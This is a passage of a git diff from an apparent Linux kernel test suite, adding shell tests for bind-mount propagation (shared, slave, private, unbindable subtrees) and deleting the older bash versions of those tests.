+	EXPECT_PASS mount --bind "$FS_BIND_DISK3" parent2/a
+	fs_bind_check parent1/a parent2/a share1/a
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK4" share1/b
+	fs_bind_check parent1/b parent2/b share1/b
+
+	EXPECT_PASS umount share1/b
+	EXPECT_PASS umount parent2/a
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+	EXPECT_PASS umount share1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind19.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind19.sh
new file mode 100755
index 0000000..3d7c645
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/bind/fs_bind19.sh
@@ -0,0 +1,52 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "bind: shared subtree with shared child to slave subtree"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir rshared parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir rshared share2
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" share1
+	EXPECT_PASS mount --bind share1 parent1
+	EXPECT_PASS mount --bind --make-rslave share2 parent2
+
+	EXPECT_PASS mount --bind parent1 parent2
+	fs_bind_makedir rshared parent1/child1
+	fs_bind_check parent1 share1 parent2
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" parent1/child1
+	fs_bind_check parent1/child1 parent2/child1
+	fs_bind_check parent1/child1 share1/child1
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK3" parent2/a
+	fs_bind_check parent1/a parent2/a share1/a
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK4" share1/b
+	fs_bind_check parent1/b parent2/b share1/b
+
+	EXPECT_PASS umount share1/b
+	EXPECT_PASS umount parent2/a
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share2
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind20.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind20.sh
new file mode 100755
index 0000000..92927cf
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/bind/fs_bind20.sh
@@ -0,0 +1,48 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "bind: shared subtree with shared child to uncloneable subtree"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir runbindable parent2
+	fs_bind_makedir rshared share1
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" share1
+	EXPECT_PASS mount --bind share1 parent1
+
+	EXPECT_PASS mount --bind parent1 parent2
+	fs_bind_makedir rshared parent1/child1
+	fs_bind_check parent1 share1 parent2
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" parent1/child1
+	fs_bind_check parent1/child1 parent2/child1
+	fs_bind_check parent1/child1 share1/child1
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK3" parent2/a
+	fs_bind_check parent1/a parent2/a share1/a
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK4" share1/b
+	fs_bind_check parent1/b parent2/b share1/b
+
+	EXPECT_PASS umount share1/b
+	EXPECT_PASS umount parent2/a
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+	EXPECT_PASS umount share1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind21.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind21.sh
new file mode 100755
index 0000000..d758421
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/bind/fs_bind21.sh
@@ -0,0 +1,57 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "bind: multi-level slave p-nodes"
+
+	fs_bind_makedir rshared dir1
+
+	mkdir dir1/x dir2 dir3 dir4
+
+	EXPECT_PASS mount --bind dir1 dir2
+	EXPECT_PASS mount --make-rslave dir2
+	EXPECT_PASS mount --make-rshared dir2
+
+	EXPECT_PASS mount --bind dir2 dir3
+	EXPECT_PASS mount --make-rslave dir3
+	EXPECT_PASS mount --make-rshared dir3
+
+	EXPECT_PASS mount --bind dir3 dir4
+	EXPECT_PASS mount --make-rslave dir4
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" dir1/x
+	fs_bind_check dir1/x dir2/x dir3/x dir4/x
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" dir2/x/a
+	fs_bind_check -n dir1/x/a dir2/x/a
+	fs_bind_check dir2/x/a dir3/x/a dir4/x/a
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK3" dir3/x/b
+	fs_bind_check -n dir1/x/b dir3/x/b
+	fs_bind_check -n dir2/x/b dir3/x/b
+	fs_bind_check dir3/x/b dir4/x/b
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK4" dir4/x/c
+	fs_bind_check -n dir1/x/c dir4/x/c
+	fs_bind_check -n dir2/x/c dir4/x/c
+	fs_bind_check -n dir3/x/c dir4/x/c
+
+	EXPECT_PASS umount dir2/x/a
+	EXPECT_PASS umount dir3/x/b
+	EXPECT_PASS umount dir4/x/c
+	EXPECT_PASS umount dir1/x
+	EXPECT_PASS umount dir1
+	EXPECT_PASS umount dir2
+	EXPECT_PASS umount dir3
+	EXPECT_PASS umount dir4
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind22.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind22.sh
new file mode 100755
index 0000000..e51d64b
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/bind/fs_bind22.sh
@@ -0,0 +1,40 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "bind: bind within same tree - root to child"
+
+	fs_bind_makedir rshared parent
+	fs_bind_makedir rshared parent/child1
+	fs_bind_makedir rshared parent/child2
+
+	EXPECT_PASS mount --bind parent parent/child2/
+	fs_bind_check parent parent/child2/
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK3" parent/child2/child1
+	fs_bind_check parent/child1 parent/child2/child1
+
+	EXPECT_PASS umount parent/child2/child1
+	fs_bind_check parent/child1 parent/child2/child1
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK4" parent/child2/child1
+	fs_bind_check parent/child1 parent/child2/child1
+
+	EXPECT_PASS umount parent/child1
+	fs_bind_check parent/child1 parent/child2/child1
+
+	EXPECT_PASS umount parent/child1
+	EXPECT_PASS umount parent/child2
+	EXPECT_PASS umount parent/child2
+	EXPECT_PASS umount parent
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind23.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind23.sh
new file mode 100755
index 0000000..b91fc75
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/bind/fs_bind23.sh
@@ -0,0 +1,40 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "bind: shared child to shared parent"
+
+	fs_bind_makedir private mnt
+	fs_bind_makedir rshared mnt/1
+
+	mkdir mnt/2 mnt/1/abc
+	EXPECT_PASS mount --bind mnt/1 mnt/2
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" mnt/1/abc
+
+	fs_bind_check mnt/1/abc mnt/2/abc "$FS_BIND_DISK1"
+
+	mkdir tmp2
+	fs_bind_makedir rshared tmp1
+	EXPECT_PASS mount --bind tmp1 tmp2
+
+	mkdir tmp1/3
+	EXPECT_PASS mount --move mnt tmp1/3
+	fs_bind_check tmp1/3/1/abc tmp2/3/1/abc tmp2/3/2/abc "$FS_BIND_DISK1"
+
+	EXPECT_PASS umount tmp1/3/1/abc
+	EXPECT_PASS umount tmp1/3/1
+	EXPECT_PASS umount tmp1/3/2
+	EXPECT_PASS umount tmp1/3
+	EXPECT_PASS umount tmp1
+	EXPECT_PASS umount tmp2
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind24.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind24.sh
new file mode 100755
index 0000000..1ec32a8
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/bind/fs_bind24.sh
@@ -0,0 +1,35 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "bind: shared child to shared parent"
+
+	fs_bind_makedir rshared dir1
+	mkdir dir1/1 dir1/1/2 dir1/1/2/3 dir1/1/2/fs_bind_check dir2 dir3 dir4
+	touch dir4/ls
+
+	EXPECT_PASS mount --bind dir1/1/2 dir2
+	EXPECT_PASS mount --make-rslave dir1
+	EXPECT_PASS mount --make-rshared dir1
+
+	EXPECT_PASS mount --bind dir1/1/2/3 dir3
+	EXPECT_PASS mount --make-rslave dir1
+
+	EXPECT_PASS mount --bind dir4 dir2/fs_bind_check
+	fs_bind_check dir1/1/2/fs_bind_check/ dir4
+
+	EXPECT_PASS umount dir2/fs_bind_check
+	EXPECT_PASS umount dir3
+	EXPECT_PASS umount dir2
+	EXPECT_PASS umount dir1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/bind/test01 b/testcases/kernel/fs/fs_bind/bind/test01
deleted file mode 100755
index 52005dc..0000000
--- a/testcases/kernel/fs/fs_bind/bind/test01
+++ /dev/null
@@ -1,99 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test01} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST01***************"
-tst_resm TINFO "bind: shared child to shared parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of bind/test01 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" share parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-	"${FS_BIND_ROOT}/bin/makedir" share parent1/child1
-
-	mount --bind "$disk1" parent1/child1
-
-	mkdir parent2/child2
-
-	mount --bind parent2 share2
-	mount --bind parent1/child1 parent2/child2
-
-	check parent2 share2
-	check parent1/child1 parent2/child2
-
-	mount --bind "$disk2" parent1/child1/a
-
-	check parent1/child1/a parent2/child2/a share2/child2/a
-
-	mount --bind "$disk3" parent2/child2/b
-
-	check parent1/child1/b parent2/child2/b share2/child2/b
-	check parent2 share2
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "bind/test01: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "bind/test01: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1/a
-	umount parent1/child1/b
-	umount parent2/child2
-	umount parent1/child1
-	umount parent1/child1
-	umount share2
-	umount share2
-	umount parent2
-	umount parent1
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "bind/test01: FAILED: bind: shared child to shared parent."
-	exit 1
-else
-	tst_resm TPASS "bind/test01: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/bind/test02 b/testcases/kernel/fs/fs_bind/bind/test02
deleted file mode 100755
index a4d743c..0000000
--- a/testcases/kernel/fs/fs_bind/bind/test02
+++ /dev/null
@@ -1,102 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test02} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST02***************"
-tst_resm TINFO "bind: shared child to private parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of bind/test02 failed" && tst_exit)
-export result=0
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" priv parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" share parent1/child1
-
-	mount --bind "$disk1" parent1/child1
-
-	mkdir parent2/child2
-
-	mount --bind parent1/child1 share1
-	mount --bind parent1/child1 parent2/child2
-
-	check parent1/child1 share1
-	check parent1/child1 parent2/child2
-
-	mount --bind "$disk2" parent1/child1/a
-
-	check parent1/child1/a parent2/child2/a share1/a
-
-	mount --bind "$disk3" parent2/child2/b
-
-	check parent1/child1/b parent2/child2/b share1/b
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "bind/test02: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "bind/test02: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1/a
-	umount parent1/child1/b
-	umount parent1/child1
-	umount parent1/child1
-	umount parent1/child1
-	umount parent1/child1
-	umount share1
-	umount parent2/child2
-	umount parent2
-	umount parent1
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-
-if [ $result -ne 0 ]
-then
-        tst_resm TFAIL "bind/test02: FAILED: bind: shared child to private parent."
-        exit 1
-else
-        tst_resm TPASS "bind/test02: PASSED"
-        exit 0
-fi
-
-
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/bind/test03 b/testcases/kernel/fs/fs_bind/bind/test03
deleted file mode 100755
index ac1f426..0000000
--- a/testcases/kernel/fs/fs_bind/bind/test03
+++ /dev/null
@@ -1,118 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test03} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST03***************"
-tst_resm TINFO "bind: shared child to slave parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of bind/test03 failed" && tst_exit)
-export result=0
-
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-	"${FS_BIND_ROOT}/bin/makedir" share parent1/child1
-	mkdir parent2
-
-	mount --bind parent1/child1 share1
-	mount --bind "$disk1" parent1/child1
-	mount --bind "$disk2" share2
-	mount --bind share2 parent2
-	"${FS_BIND_ROOT}/bin/makedir" slave parent2
-
-	"${FS_BIND_ROOT}/bin/check_prop" share2 parent2
-
-
-	mkdir parent2/child2
-	ls share2
-
-	mount --bind parent1/child1 share1
-	mount --bind parent1/child1 parent2/child2
-
-	"${FS_BIND_ROOT}/bin/check_prop" parent1/child1 share1 parent2/child2
-
-	mount --bind "$disk3" parent1/child1/a
-
-	"${FS_BIND_ROOT}/bin/check_prop" parent1/child1/a parent2/child2/a share1/a
-	"${FS_BIND_ROOT}/bin/check_prop" -n parent2/child2/a share2/child2/a
-
-	mount --bind "$disk3" parent2/child2/b
-
-	"${FS_BIND_ROOT}/bin/check_prop" -n parent2/child2/b share2/child2/b
-	"${FS_BIND_ROOT}/bin/check_prop" parent1/child1/b parent2/child2/b share1/b
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "bind/test03: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "bind/test03: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1/a
-	umount parent1/child1/b
-	umount parent2/child2
-	umount parent1/child1
-	umount parent1/child1
-	umount parent1/child1
-	umount parent1/child1
-	umount parent1/child1
-	umount share2
-	umount share2
-	umount share2
-	umount parent1
-	umount parent2
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-
-if [ $result -ne 0 ]
-then
-        tst_resm TFAIL "bind/test03: FAILED: bind: shared child to slave parent."
-        exit 1
-else
-        tst_resm TPASS "bind/test03: PASSED"
-        exit 0
-fi
-
-
-
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/bind/test04 b/testcases/kernel/fs/fs_bind/bind/test04
deleted file mode 100755
index ac17f8b..0000000
--- a/testcases/kernel/fs/fs_bind/bind/test04
+++ /dev/null
@@ -1,104 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test04} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-
-tst_resm TINFO "***************TEST04***************"
-tst_resm TINFO "bind: shared child to unclonable parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of bind/test04 failed" && tst_exit)
-export result=0
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" unclone parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" share parent1/child1
-
-	mount --bind "$disk1" parent1/child1
-
-	mkdir parent2/child2
-
-	mount --bind parent1/child1 share1
-	mount --bind parent1/child1 parent2/child2
-
-	check parent1/child1 share1 parent2/child2
-
-	mount --bind "$disk2" parent1/child1/a
-
-	check parent1/child1/a parent2/child2/a share1/a
-
-	mount --bind "$disk3" parent2/child2/b
-
-	check parent1/child1/b parent2/child2/b share1/b
-
-	mount --bind "$disk4" share1/c
-
-	check parent1/child1/c parent2/child2/c share1/c
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "bind/test04: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "bind/test04: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1/a
-	umount parent1/child1/b
-	umount parent1/child1/c
-	umount parent2/child2
-	umount parent1/child1
-	umount parent1/child1
-	umount parent1/child1
-	umount share1
-	umount parent2
-	umount parent1
-
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-        tst_resm TFAIL "bind/test04: FAILED: bind: shared child to unclonable parent."
-        exit 1
-else
-        tst_resm TPASS "bind/test04: PASSED"
-        exit 0
-fi
-
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/bind/test05 b/testcases/kernel/fs/fs_bind/bind/test05
deleted file mode 100755
index 9112864..0000000
--- a/testcases/kernel/fs/fs_bind/bind/test05
+++ /dev/null
@@ -1,113 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test05} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST05***************"
-tst_resm TINFO "bind: private child to shared parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of bind/test05 failed" && tst_exit)
-export result=0
-
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" share parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-	"${FS_BIND_ROOT}/bin/makedir" priv parent1/child1
-
-	mount --bind parent1 share1
-	mount --bind "$disk1" parent1/child1
-	mount --bind parent2 share2
-
-	check -n  parent1/child1 share1/child1
-
-	mkdir parent2/child2
-
-	mount --bind parent1/child1 parent2/child2
-
-	check parent1/child1 parent2/child2 share2/child2
-
-	mount --bind "$disk2" parent1/child1/a
-
-	check -n  parent1/child1/a parent2/child2/a
-
-	mount --bind "$disk3" parent2/child2/b
-
-	check -n parent1/child1/b parent2/child2/b
-	check parent2/child2/b share2/child2/b
-
-	mount --bind "$disk4" share2/child2/c
-
-	check -n parent1/child1/b parent2/child2/b
-	check parent2/child2/c share2/child2/c
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "bind/test05: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "bind/test05: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1/a
-	umount parent2/child2/b
-	umount share2/child2/c
-	umount parent2/child2
-	umount parent1/child1
-	umount parent1/child1
-	umount share1
-	umount share1
-	umount share2
-	umount share2
-	umount parent2
-	umount parent1
-
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-        tst_resm TFAIL "bind/test05: FAILED: bind: private child to shared parent."
-        exit 1
-else
-        tst_resm TPASS "bind/test05: PASSED"
-        exit 0
-fi
-
-
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/bind/test06 b/testcases/kernel/fs/fs_bind/bind/test06
deleted file mode 100755
index 1da8fd5..0000000
--- a/testcases/kernel/fs/fs_bind/bind/test06
+++ /dev/null
@@ -1,102 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test06} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST06***************"
-tst_resm TINFO "bind: private child to private parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of bind/test06 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
